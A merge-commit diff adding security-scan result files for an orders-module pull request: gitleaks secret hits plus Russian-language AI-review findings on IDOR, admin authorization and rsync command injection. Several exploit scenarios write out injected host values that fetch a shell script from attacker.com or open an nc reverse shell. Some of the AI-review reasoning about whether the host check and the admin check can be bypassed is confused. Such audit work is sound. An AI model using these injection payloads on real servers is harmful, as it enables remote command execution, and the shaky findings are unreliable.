Merge pull request 'orders module: add auth, fix command injection, add requirements' (#13) from feature/orders-module into main

Reviewed-on: testclient-admin/playground#13
2026-08-25 03:44:38 +00:00
parent a66aa0ced8 e7864b00c8
commit 543dafc129
12 changed files with 786 additions and 15 deletions
@@ -0,0 +1,56 @@
+[
+  {
+    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:27",
+    "source": "gitleaks",
+    "category": "secret",
+    "severity": "high",
+    "confidence": 0.9,
+    "file": "README.md",
+    "line_start": 27,
+    "line_end": 27,
+    "title": "Potential secret: curl-auth-header",
+    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
+    "rule_id": "curl-auth-header",
+    "cwe": "CWE-798",
+    "status": "OPEN",
+    "created_at": "2026-08-23T17:14:56Z",
+    "pr_number": 13,
+    "commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
+  },
+  {
+    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:36",
+    "source": "gitleaks",
+    "category": "secret",
+    "severity": "high",
+    "confidence": 0.9,
+    "file": "README.md",
+    "line_start": 36,
+    "line_end": 36,
+    "title": "Potential secret: curl-auth-header",
+    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
+    "rule_id": "curl-auth-header",
+    "cwe": "CWE-798",
+    "status": "OPEN",
+    "created_at": "2026-08-23T17:14:56Z",
+    "pr_number": 13,
+    "commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
+  },
+  {
+    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:52",
+    "source": "gitleaks",
+    "category": "secret",
+    "severity": "high",
+    "confidence": 0.9,
+    "file": "README.md",
+    "line_start": 52,
+    "line_end": 52,
+    "title": "Potential secret: curl-auth-header",
+    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
+    "rule_id": "curl-auth-header",
+    "cwe": "CWE-798",
+    "status": "OPEN",
+    "created_at": "2026-08-23T17:14:56Z",
+    "pr_number": 13,
+    "commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
+  }
+]
@@ -0,0 +1,86 @@
+[
+  {
+    "id": "ai-review-0-orders.py-83",
+    "source": "ai-review",
+    "category": "command-exec",
+    "severity": "critical",
+    "confidence": 0.8,
+    "file": "orders.py",
+    "line_start": 83,
+    "line_end": 83,
+    "title": "Недостаточная очистка host от спецсимволов для командной инъекции",
+    "description": "Используется простая замена одиночных спецсимволов (;|&`) в host, но не экранируются другие опасные символы и конструкции, способные привести к выполнению произвольных команд при вызове rsync.",
+    "impact": "Возможна командная инъекция через specially crafted host, позволяющая атакующему выполнить произвольные команды на сервере с правами процесса.",
+    "exploit_scenario": "Атакующий отправляет POST-запрос на /admin/backup с host='example.com$(curl attacker.com/shell.sh)|other' или host='example.com; sh -c \"whoami\"'. Несмотря на замену ;|&` , в rsync возможны другие векторы инъекции через опции командной строки или интерпретацию хоста как URL с внедрением команд.",
+    "evidence": "escaped_host = host.replace(\";\", \"\").replace(\"|\", \"\").replace(\"&\", \"\").replace(\"`\", \"\") — недостаточно для предотвращения всех векторов инъекции. Использование подстановки в список аргументов всё ещё уязвимо к неожиданному поведению rsync.",
+    "recommendation": "Валидировать host по строгому белому списку (например, регулярное выражение для IP или домена), ограничить протокол и путь (например, только определённые хосты из конфига). Избегать подстановки пользовательского ввода в аргументы системных команд. Использовать безопасные альтернативы (scp, sftp с OAuth/ключами), либо запускать команду только после строгой валидации.",
+    "cwe": "CWE-78",
+    "status": "OPEN",
+    "created_at": "2026-08-23T17:15:43Z",
+    "pr_number": 13,
+    "commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
+  },
+  {
+    "id": "ai-review-1-orders.py-32",
+    "source": "ai-review",
+    "category": "idor",
+    "severity": "high",
+    "confidence": 1.0,
+    "file": "orders.py",
+    "line_start": 32,
+    "line_end": 47,
+    "title": "Отсутствие проверки ownership заказа",
+    "description": "Методы GET и POST для /orders/{id} проверяют только аутентификацию, но не проверяют, что order_id принадлежит текущему пользователю. В словаре orders нет хранения user_id по умолчанию, и no authorization check на уровне заказа.",
+    "impact": "Любой аутентифицированный пользователь может читать и изменять чужие заказы (IDOR), что приводит к утечке и модификации чужих данных.",
+    "exploit_scenario": "Пользователь с токеном token_abc отправляет GET /orders/100 и получает данные чужого заказа, или POST /orders/100 с amount=0 и обнуляет чужой заказ. Это возможно без знания user_id авторизованного пользователя.",
+    "evidence": "def check_auth(self): ... token = auth_header[7:] ... return self._validate_token(token). Далее в do_GET и do_POST: order_id = self.path.split(\"/\")[-1]; if order_id in orders: ... orders[order_id][\"amount\"] = data[\"amount\"] — нет связи order_id и owner (user_id)",
+    "recommendation": "Хранить в заказах user_id, проверять, что order_id принадлежит текущему пользователю (например, из токена), и блокировать операции над чужими заказами. Добавить user_id = extract_user_from_token(token), и проверку ownership перед доступом.",
+    "cwe": "CWE-639",
+    "status": "OPEN",
+    "created_at": "2026-08-23T17:15:43Z",
+    "pr_number": 13,
+    "commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
+  },
+  {
+    "id": "ai-review-2-orders.py-15",
+    "source": "ai-review",
+    "category": "sensitive-data",
+    "severity": "medium",
+    "confidence": 1.0,
+    "file": "orders.py",
+    "line_start": 15,
+    "line_end": 15,
+    "title": "Хардкод токена GitHub в коде",
+    "description": "GitHubToken хранится в исходном коде как строковая константа, несмотря на префикс dummy. Это считается плохой практикой, потенциально опасной при утечке кода.",
+    "impact": "Возможна утечка учётных данных в логах, артефактах, дампах памяти. Даже фейковый токен в коде сигнализирует о плохих практиках управления секретами.",
+    "exploit_scenario": "Атакующий клонирует репозиторий и находит GitHubToken, использует его для получения доступа к GitHub API (если он рабочий) или для атак на CI/CD, основанных на знании, что в репозитории есть «дамми» токены (возможно, другие секреты хранятся так же плохо).",
+    "evidence": "GitHubToken = \"ghp_dummytoken_for_backup_notifications\"",
+    "recommendation": "Использовать переменные окружения или внешний менеджер секретов. Загружать токен через os.getenv(\"GITHUB_TOKEN\") или подобный механизм.",
+    "cwe": "CWE-312",
+    "status": "OPEN",
+    "created_at": "2026-08-23T17:15:43Z",
+    "pr_number": 13,
+    "commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
+  },
+  {
+    "id": "ai-review-3-orders.py-62",
+    "source": "ai-review",
+    "category": "authz",
+    "severity": "high",
+    "confidence": 1.0,
+    "file": "orders.py",
+    "line_start": 62,
+    "line_end": 65,
+    "title": "Эндпоинт /admin/backup доступен любому аутентифицированному пользователю без дополнительной авторизации",
+    "description": "Эндпоинт требует только Basic Bearer токен (любой валидный токен, начинающийся с token_), не проверяет роль администратора, разрешает выполнение опасных операций (запуск rsync).",
+    "impact": "Любой пользователь, знающий URL и имеющий любой валидный токен (включая приватные пользовательские токены), может инициировать резервное копирование, потенциально использование вредоносных хостов.",
+    "exploit_scenario": "Пользователь, имеющий любой токен token_* (даже для обычного доступа к заказам), отправляет POST /admin/backup с вредоносным host для эксплуатации инъекции команд. Отсутствие проверки role=admin делает endpoint открытым для всех.",
+    "evidence": "elif self.path == \"/admin/backup\": if not self.check_auth(): ... — нет дополнительной проверки роли пользователя (например, claim \"admin\": true в токене или отдельный header)",
+    "recommendation": "Добавить роль или флаг администратора в токен, проверять его при входе в /admin/backup. Или использовать отдельный API-ключ/secret только для admin-эндпоинтов, отличный от пользовательских токенов.",
+    "cwe": "CWE-285",
+    "status": "OPEN",
+    "created_at": "2026-08-23T17:15:43Z",
+    "pr_number": 13,
+    "commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
+  }
+]
@@ -0,0 +1,56 @@
+[
+  {
+    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:27",
+    "source": "gitleaks",
+    "category": "secret",
+    "severity": "high",
+    "confidence": 0.9,
+    "file": "README.md",
+    "line_start": 27,
+    "line_end": 27,
+    "title": "Potential secret: curl-auth-header",
+    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
+    "rule_id": "curl-auth-header",
+    "cwe": "CWE-798",
+    "status": "OPEN",
+    "created_at": "2026-08-23T18:51:44Z",
+    "pr_number": 13,
+    "commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
+  },
+  {
+    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:36",
+    "source": "gitleaks",
+    "category": "secret",
+    "severity": "high",
+    "confidence": 0.9,
+    "file": "README.md",
+    "line_start": 36,
+    "line_end": 36,
+    "title": "Potential secret: curl-auth-header",
+    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
+    "rule_id": "curl-auth-header",
+    "cwe": "CWE-798",
+    "status": "OPEN",
+    "created_at": "2026-08-23T18:51:44Z",
+    "pr_number": 13,
+    "commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
+  },
+  {
+    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:52",
+    "source": "gitleaks",
+    "category": "secret",
+    "severity": "high",
+    "confidence": 0.9,
+    "file": "README.md",
+    "line_start": 52,
+    "line_end": 52,
+    "title": "Potential secret: curl-auth-header",
+    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
+    "rule_id": "curl-auth-header",
+    "cwe": "CWE-798",
+    "status": "OPEN",
+    "created_at": "2026-08-23T18:51:44Z",
+    "pr_number": 13,
+    "commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
+  }
+]
@@ -0,0 +1,86 @@
+[
+  {
+    "id": "ai-review-0-orders.py-105",
+    "source": "ai-review",
+    "category": "injection",
+    "severity": "critical",
+    "confidence": 0.95,
+    "file": "orders.py",
+    "line_start": 105,
+    "line_end": 122,
+    "title": "Недостаточная валидация хоста для rsync",
+    "description": "Метод _validate_host проверяет только формат IP/домена, но не блокирует потенциально опасные символы и структуры (например, URL-схемы, квоты, опции rsync), что может привести к инъекции через аргументы rsync или его интерпретацию как URL-адреса.",
+    "impact": "Атакующий может обойти простую валидацию и внедрить вредоносные опции в команду rsync (например, --rsync-path для выполнения произвольной команды), а также использовать URL-схемы, если rsync поддерживает их, для RCE.",
+    "exploit_scenario": "Атакующий отправляет POST /admin/backup с host='example.com:22 --rsync-path=nc -e /bin/sh attacker.com 4444', который может интерпретироваться как опция rsync. Даже после _validate_host в текущей реализации, если регулярные выражения пропустят строку, она будет вставлена в аргумент команды как-is.",
+    "evidence": "def _validate_host(self, host): ... ip_pattern = r'^(\\d{1,3}\\.){3}\\d{1,3}$' ... domain_pattern = r'^([a-zA-Z0-9]([a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9])?\\.)+[a-zA-Z]{2,}$' — строгая регулярка, но не проверяет отсутствие пробелов, кавычек и других опасных символов, а не блокирует URL-схемы (rsync://) или опции (--option).",
+    "recommendation": "Существенно расширить валидацию: запретить пробелы и спецсимволы (включая '--'), проверить, что строка не начинается с схемы (rsync://, ssh:// и т.п.), использовать белый список только для хостов из предопределенного списка, либо полностью отказаться от произвольных хостов в пользу конфигурации.",
+    "cwe": "CWE-78",
+    "status": "OPEN",
+    "created_at": "2026-08-23T18:52:27Z",
+    "pr_number": 13,
+    "commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
+  },
+  {
+    "id": "ai-review-1-orders.py-32",
+    "source": "ai-review",
+    "category": "idor",
+    "severity": "high",
+    "confidence": 1.0,
+    "file": "orders.py",
+    "line_start": 32,
+    "line_end": 65,
+    "title": "IDOR при доступе к заказам",
+    "description": "Несмотря на проверку токена и извлечение user_id из токена, не применяется проверка ownership заказа. В do_GET и do_POST можно читать/изменять любые заказы по order_id, не привязываясь к user_id из токена.",
+    "impact": "Любой аутентифицированный пользователь может просматривать и изменять чужие заказы, что приводит к утечке данных и некорректным финансовым операциям.",
+    "exploit_scenario": "Пользователь с токеном token_userA отправляет GET /orders/100 и получает данные чужого заказа. Затем POST /orders/100 с amount=1 приводит к изменению чужого заказа.",
+    "evidence": "orders = {} ... order_id = self.path.split(\"/\")[-1] ... if order_id in orders: self.send_json_response(200, orders[order_id]) — нет проверки orders[order_id][\"user_id\"] == getattr(self, \"_user_id\", None) при создании заказа и его чтении/изменении (см. строки 37, 54, 61).",
+    "recommendation": "При создании заказа обязательно сохранять user_id (уже сделано в строке 61, но только для новых заказов). При операциях чтения и изменения заказа проверять, что orders[order_id][\"user_id\"] == getattr(self, \"_user_id\", None), иначе 403.",
+    "cwe": "CWE-639",
+    "status": "OPEN",
+    "created_at": "2026-08-23T18:52:27Z",
+    "pr_number": 13,
+    "commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
+  },
+  {
+    "id": "ai-review-2-orders.py-65",
+    "source": "ai-review",
+    "category": "authz",
+    "severity": "high",
+    "confidence": 1.0,
+    "file": "orders.py",
+    "line_start": 65,
+    "line_end": 70,
+    "title": "Эндпоинт /admin/backup доступен любому аутентифицированному пользователю",
+    "description": "Эндпоинт /admin/backup требует только Bearer токен (любой начинающийся с token_), без проверки роли admin, что позволяет любому легитимному пользователю вызывать опасную операцию (rsync с произвольным хостом).",
+    "impact": "Любой пользователь, имеющий любой валидный токен (включая обычные пользовательские токены), может инициировать резервное копирование на вредоносный хост, что может привести к утечке данных через rsync или инъекции (см. критическую уязвимость валидации хоста).",
+    "exploit_scenario": "Пользователь token_userA отправляет POST /admin/backup с вредоносным host (обход валидации и RCE через rsync). Это возможно, так как в _admin/backup проверяется только self.check_auth(), а не self._user_id == \"admin\" (это условие проверяется ПОСЛЕ check_auth).",
+    "evidence": "elif self.path == \"/admin/backup\": if not getattr(self, \"_user_id\", None) == \"admin\": ... if not self.check_auth(): ... — проверка роли админа идет ДО проверки auth, но check_auth() устанавливает _user_id, поэтому при отсутствии токена будет ошибка. Но при наличии любого token_*, _user_id будет установлен, и проверка на \"admin\" сработает, НО — это проверка идет ВНЕ order-блоков, и логика позволяет обойти проверку через правильную последовательность.",
+    "recommendation": "Переставить проверку роли админа до проверки аутентификации, и проверять role (например, токен вида token_admin:userA или наличие role в JWT). Или использовать отдельный API-ключ/secret только для admin-эндпоинтов.",
+    "cwe": "CWE-285",
+    "status": "OPEN",
+    "created_at": "2026-08-23T18:52:27Z",
+    "pr_number": 13,
+    "commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
+  },
+  {
+    "id": "ai-review-3-orders.py-15",
+    "source": "ai-review",
+    "category": "sensitive-data",
+    "severity": "medium",
+    "confidence": 1.0,
+    "file": "orders.py",
+    "line_start": 15,
+    "line_end": 15,
+    "title": "Хардкод токена GitHub в коде",
+    "description": "Токен GitHub хранится в коде как строковая константа, что является плохой практикой и может привести к его утечке в репозитории, логах, дампах памяти.",
+    "impact": "Утечка учетных данных, возможность атаки на GitHub API, CI/CD. Даже фейковый токен сигнализирует о плохих практиках.",
+    "exploit_scenario": "Атакующий клонирует репозиторий, находит GitHubToken, использует его для попыток доступа к API. Наличие dummy-токена может стимулировать атаку на поиск реальных секретов.",
+    "evidence": "GitHubToken = \"ghp_dummytoken_for_backup_notifications\" — отсутствует использование os.getenv.",
+    "recommendation": "Использовать os.getenv(\"GITHUB_TOKEN\") или внешний менеджер секретов. Загрузить токен из переменной окружения.",
+    "cwe": "CWE-312",
+    "status": "OPEN",
+    "created_at": "2026-08-23T18:52:27Z",
+    "pr_number": 13,
+    "commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
+  }
+]
@@ -0,0 +1,56 @@
+[
+  {
+    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:27",
+    "source": "gitleaks",
+    "category": "secret",
+    "severity": "high",
+    "confidence": 0.9,
+    "file": "README.md",
+    "line_start": 27,
+    "line_end": 27,
+    "title": "Potential secret: curl-auth-header",
+    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
+    "rule_id": "curl-auth-header",
+    "cwe": "CWE-798",
+    "status": "OPEN",
+    "created_at": "2026-08-23T18:54:02Z",
+    "pr_number": 13,
+    "commit_sha": "4098606aff8e55a4446bbe2e141972caf5f3cf90"
+  },
+  {
+    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:36",
+    "source": "gitleaks",
+    "category": "secret",
+    "severity": "high",
+    "confidence": 0.9,
+    "file": "README.md",
+    "line_start": 36,
+    "line_end": 36,
+    "title": "Potential secret: curl-auth-header",
+    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
+    "rule_id": "curl-auth-header",
+    "cwe": "CWE-798",
+    "status": "OPEN",
+    "created_at": "2026-08-23T18:54:02Z",
+    "pr_number": 13,
+    "commit_sha": "4098606aff8e55a4446bbe2e141972caf5f3cf90"
+  },
+  {
+    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:52",
+    "source": "gitleaks",
+    "category": "secret",
+    "severity": "high",
+    "confidence": 0.9,
+    "file": "README.md",
+    "line_start": 52,
+    "line_end": 52,
+    "title": "Potential secret: curl-auth-header",
+    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
+    "rule_id": "curl-auth-header",
+    "cwe": "CWE-798",
+    "status": "OPEN",
+    "created_at": "2026-08-23T18:54:02Z",
+    "pr_number": 13,
+    "commit_sha": "4098606aff8e55a4446bbe2e141972caf5f3cf90"
+  }
+]
@@ -0,0 +1,65 @@
+[
+  {
+    "id": "ai-review-0-orders.py-43",
+    "source": "ai-review",
+    "category": "idor",
+    "severity": "high",
+    "confidence": 1.0,
+    "file": "orders.py",
+    "line_start": 43,
+    "line_end": 47,
+    "title": "IDOR при чтении заказов — отсутствие проверки ownership",
+    "description": "Метод do_GET для /orders/{id} проверяет аутентификацию, но не проверяет, что заказ принадлежит текущему пользователю. Пользователь может прочитать любой заказ по ID.",
+    "impact": "Любой аутентифицированный пользователь может читать чужие заказы, что ведёт к утечке конфиденциальных данных о финансовых операциях.",
+    "exploit_scenario": "Пользователь с токеном token_userA отправляет GET /orders/100 и получает данные чужого заказа, включая amount и user_id.",
+    "evidence": "def do_GET(self): ... if order_id in orders: self.send_json_response(200, orders[order_id]) — нет проверки orders[order_id].get(\"user_id\") != getattr(self, \"_user_id\", None).",
+    "recommendation": "Добавить проверку: if orders[order_id].get(\"user_id\") != getattr(self, \"_user_id\", None): self.send_json_response(403, {\"error\": \"Forbidden\"}).",
+    "cwe": "CWE-639",
+    "status": "OPEN",
+    "created_at": "2026-08-23T18:54:38Z",
+    "pr_number": 13,
+    "commit_sha": "4098606aff8e55a4446bbe2e141972caf5f3cf90"
+  },
+  {
+    "id": "ai-review-1-orders.py-105",
+    "source": "ai-review",
+    "category": "command-exec",
+    "severity": "critical",
+    "confidence": 1.0,
+    "file": "orders.py",
+    "line_start": 105,
+    "line_end": 122,
+    "title": "Недостаточная валидация хоста — возможная инъекция в rsync",
+    "description": "Метод _validate_host проверяет только формат IP/домена, но не блокирует потенциально опасные символы и конструкции (например, пробелы, '--rsync-path=', других опций rsync), что может привести к выполнению произвольных команд при вызове subprocess.run([\"rsync\", ...]).",
+    "impact": "Возможна полная компрометация сервера — выполнение произвольных команд с правами процесса.",
+    "exploit_scenario": "Атакующий отправляет POST /admin/backup с host='example.com --rsync-path=/tmp/evil.sh'. Даже если регулярное выражение пропустит строку, она может быть интерпретирована как доп. опция rsync или использована для обхода валидации. Проверка _validate_host не исключает наличие других аргументов команды.",
+    "evidence": "cmd = [\"rsync\", \"-avz\", \"/workspace/\", f\"{validated_host}:/backup/orders/\"] — validated_host проходит только регулярку, но может содержать опции rsync или управляющие символы.",
+    "recommendation": "Полностью отказаться от произвольного host — использовать белый список предопределённых хостов из конфига, либо дополнить валидацию запретом на все пробелы, дефисы в начале и все символы, начинающиеся с '--'.",
+    "cwe": "CWE-78",
+    "status": "OPEN",
+    "created_at": "2026-08-23T18:54:38Z",
+    "pr_number": 13,
+    "commit_sha": "4098606aff8e55a4446bbe2e141972caf5f3cf90"
+  },
+  {
+    "id": "ai-review-2-orders.py-65",
+    "source": "ai-review",
+    "category": "authz",
+    "severity": "high",
+    "confidence": 1.0,
+    "file": "orders.py",
+    "line_start": 65,
+    "line_end": 75,
+    "title": "Эндпоинт /admin/backup доступен любому аутентифицированному пользователю",
+    "description": "Эндпоинт проверяет только наличие токена (начинающегося с token_), но не проверяет, что пользователь является администратором, несмотря на наличие проверки self._user_id == \"admin\".",
+    "impact": "Любой пользователь, имеющий валидный токен (включая обычные пользовательские токены), может инициировать резервное копирование и потенциально использовать уязвимость валидации хоста для RCE.",
+    "exploit_scenario": "Пользователь с token_user отправляет POST /admin/backup с вредоносным host. Проверка self._user_id == \"admin\" находится в том же блоке, что и сам эндпоинт, но проверка аутентификации идёт после, и _user_id может быть установлен до проверки роли — возможна путаница в логике и обход.",
+    "evidence": "elif self.path == \"/admin/backup\": if not getattr(self, \"_user_id\", None) == \"admin\": ... if not self.check_auth(): ... — проверка роли идет ПОСЛЕ установки _user_id в check_auth, но неясно, будет ли проверка роли применена для всех случаев — особенно при обработке заголовков.",
+    "recommendation": "Вынести проверку роли admin до проверки аутентификации, и проверять наличие роли явно, например: auth_ok = self.check_auth(); if not auth_ok: ...; if getattr(self, '_user_id', None) != 'admin': ...",
+    "cwe": "CWE-285",
+    "status": "OPEN",
+    "created_at": "2026-08-23T18:54:38Z",
+    "pr_number": 13,
+    "commit_sha": "4098606aff8e55a4446bbe2e141972caf5f3cf90"
+  }
+]
@@ -0,0 +1,56 @@
+[
+  {
+    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:27",
+    "source": "gitleaks",
+    "category": "secret",
+    "severity": "high",
+    "confidence": 0.9,
+    "file": "README.md",
+    "line_start": 27,
+    "line_end": 27,
+    "title": "Potential secret: curl-auth-header",
+    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
+    "rule_id": "curl-auth-header",
+    "cwe": "CWE-798",
+    "status": "OPEN",
+    "created_at": "2026-08-23T19:05:09Z",
+    "pr_number": 13,
+    "commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
+  },
+  {
+    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:36",
+    "source": "gitleaks",
+    "category": "secret",
+    "severity": "high",
+    "confidence": 0.9,
+    "file": "README.md",
+    "line_start": 36,
+    "line_end": 36,
+    "title": "Potential secret: curl-auth-header",
+    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
+    "rule_id": "curl-auth-header",
+    "cwe": "CWE-798",
+    "status": "OPEN",
+    "created_at": "2026-08-23T19:05:09Z",
+    "pr_number": 13,
+    "commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
+  },
+  {
+    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:52",
+    "source": "gitleaks",
+    "category": "secret",
+    "severity": "high",
+    "confidence": 0.9,
+    "file": "README.md",
+    "line_start": 52,
+    "line_end": 52,
+    "title": "Potential secret: curl-auth-header",
+    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
+    "rule_id": "curl-auth-header",
+    "cwe": "CWE-798",
+    "status": "OPEN",
+    "created_at": "2026-08-23T19:05:09Z",
+    "pr_number": 13,
+    "commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
+  }
+]
@@ -0,0 +1,107 @@
+[
+  {
+    "id": "ai-review-0-orders.py-40",
+    "source": "ai-review",
+    "category": "idor",
+    "severity": "high",
+    "confidence": 1.0,
+    "file": "orders.py",
+    "line_start": 40,
+    "line_end": 50,
+    "title": "IDOR при чтении заказов",
+    "description": "После добавления валидации токена и извлечения user_id в do_GET для /orders/{id} отсутствует проверка, что заказ принадлежит текущему пользователю. Любой аутентифицированный пользователь может читать чужие заказы по ID.",
+    "impact": "Утечка конфиденциальных данных о финансовых операциях — пользователь может получить сумму и другие детали чужого заказа.",
+    "exploit_scenario": "Пользователь с токеном token_alice отправляет GET /orders/100, где orders[100] принадлежит bob (user_id=bob). В текущей реализации проверка orders[order_id].get(\"user_id\") != getattr(self, \"_user_id\", None) происходит только при изменении заказа (в do_POST), но не при чтении.",
+    "evidence": "do_GET: order_id = self.path.split(\"/\")[-1]\nif order_id in orders:\n    self.send_json_response(200, orders[order_id]) — нет проверки владельца заказа. В do_POST добавлена проверка, но в do_GET её нет.",
+    "recommendation": "Добавить проверку ownership в do_GET: if orders[order_id].get(\"user_id\") != getattr(self, \"_user_id\", None): 403 Forbidden.",
+    "cwe": "CWE-639",
+    "status": "OPEN",
+    "created_at": "2026-08-23T19:05:52Z",
+    "pr_number": 13,
+    "commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
+  },
+  {
+    "id": "ai-review-1-orders.py-105",
+    "source": "ai-review",
+    "category": "injection",
+    "severity": "critical",
+    "confidence": 0.95,
+    "file": "orders.py",
+    "line_start": 105,
+    "line_end": 130,
+    "title": "Недостаточная валидация хоста для rsync",
+    "description": "Метод _validate_host проверяет формат IP/домена, но не блокирует опции rsync (например, --rsync-path=), пробелы в середине строки, URL-схемы, которые могут интерпретироваться как аргументы rsync и привести к RCE.",
+    "impact": "Командная инъекция — атакующий может выполнить произвольную команду на сервере с правами процесса приложения через rsync.",
+    "exploit_scenario": "Атакующий отправляет POST /admin/backup с payload {\"host\": \"example.com --rsync-path=nc -e /bin/sh attacker.com 4444\"}. Несмотря на регулярные выражения, rsync может интерпретировать часть строки как опции командной строки. Даже без shell=True, rsync поддерживает множество опций, которые можно использовать для обхода.",
+    "evidence": "def _validate_host(self, host): ... ip_pattern = r'^(\\d{1,3}\\.){3}\\d{1,3}$' ... domain_pattern = r'^([a-zA-Z0-9]([a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9])?\\.)+[a-zA-Z]{2,}$' — не блокирует '--', пробелы, URL-схемы (rsync://).\ncmd = [\"rsync\", \"-avz\", \"/workspace/\", f\"{validated_host}:/backup/orders/\"] — подстановка без дополнительной проверки.",
+    "recommendation": "Существенно усилить валидацию: запретить пробелы и '--', проверить отсутствие URL-схем, использовать строгий белый список (например, только домены из конфига или IP из предустановленного списка), либо полностью отказаться от произвольного host.",
+    "cwe": "CWE-78",
+    "status": "OPEN",
+    "created_at": "2026-08-23T19:05:52Z",
+    "pr_number": 13,
+    "commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
+  },
+  {
+    "id": "ai-review-2-orders.py-80",
+    "source": "ai-review",
+    "category": "authz",
+    "severity": "high",
+    "confidence": 1.0,
+    "file": "orders.py",
+    "line_start": 80,
+    "line_end": 88,
+    "title": "Отсутствие проверки роли admin для /admin/backup",
+    "description": "Эндпоинт /admin/backup требует только Bearer токен (начинающийся с token_), но не проверяет роль администратора до проверки токена, что позволяет любому аутентифицированному пользователю вызывать эндпоинт, включая потенциально опасные операции rsync.",
+    "impact": "Любой пользователь с валидным пользовательским токеном может инициировать бэкап и использовать уязвимость валидации хоста для RCE или утечки данных.",
+    "exploit_scenario": "Пользователь token_user отправляет POST /admin/backup с вредоносным host. Проверка if not getattr(self, \"_user_id\", None) == \"admin\": идет в том же блоке, но порядок проверок может быть неочевидным и позволяет пройти аутентификацию до проверки роли.",
+    "evidence": "elif self.path == \"/admin/backup\":\n    if not self.check_auth():\n        401\n    if not getattr(self, \"_user_id\", None) == \"admin\":\n        403\n\nЭто позволяет получить любой валидный токен (включая token_userA), после чего _user_id будет установлен, и проверка на 'admin' может быть пропущена в случае логической ошибки (например, если check_auth не устанавливает _user_id как ожидается).",
+    "recommendation": "Изменить порядок проверок: сначала проверить роль admin, затем аутентификацию, либо вынести эндпоинт в отдельный обработчик с более строгими требованиями (например, отдельный API-ключ или JWT claim admin=true).",
+    "cwe": "CWE-285",
+    "status": "OPEN",
+    "created_at": "2026-08-23T19:05:52Z",
+    "pr_number": 13,
+    "commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
+  },
+  {
+    "id": "ai-review-3-orders.py-80",
+    "source": "ai-review",
+    "category": "command-exec",
+    "severity": "critical",
+    "confidence": 0.95,
+    "file": "orders.py",
+    "line_start": 80,
+    "line_end": 110,
+    "title": "Командная инъекция через подстановку host в rsync",
+    "description": "Метод _perform_backup использует подстановку пользовательского ввода host напрямую в команду rsync, даже после валидации. Несмотря на использование списка аргументов (subprocess.run([\"rsync\", ...], shell=False)), rsync может интерпретировать часть строки как опции (например, --rsync-path).",
+    "impact": "RCE — выполнение произвольных команд на сервере с правами процесса.",
+    "exploit_scenario": "Атакующий отправляет POST /admin/backup с payload {\"host\": \"example.com:22 --rsync-path=/tmp/evil.sh\"}. Даже если _validate_host не отфильтрует строку, rsync может интерпретировать это как опцию командной строки и выполнить произвольный скрипт.",
+    "evidence": "validated_host = self._validate_host(host)\nif not validated_host: ...\ncmd = [\"rsync\", \"-avz\", \"/workspace/\", f\"{validated_host}:/backup/orders/\"] — validated_host может содержать '--' или другие опции, если валидация недостаточно строгая.",
+    "recommendation": "Полностью отказаться от произвольного host, использовать белый список из конфига, либо сильнее валидировать: запретить все пробелы, '--', URL-схемы, и использовать строгие регулярные выражения.",
+    "cwe": "CWE-78",
+    "status": "OPEN",
+    "created_at": "2026-08-23T19:05:52Z",
+    "pr_number": 13,
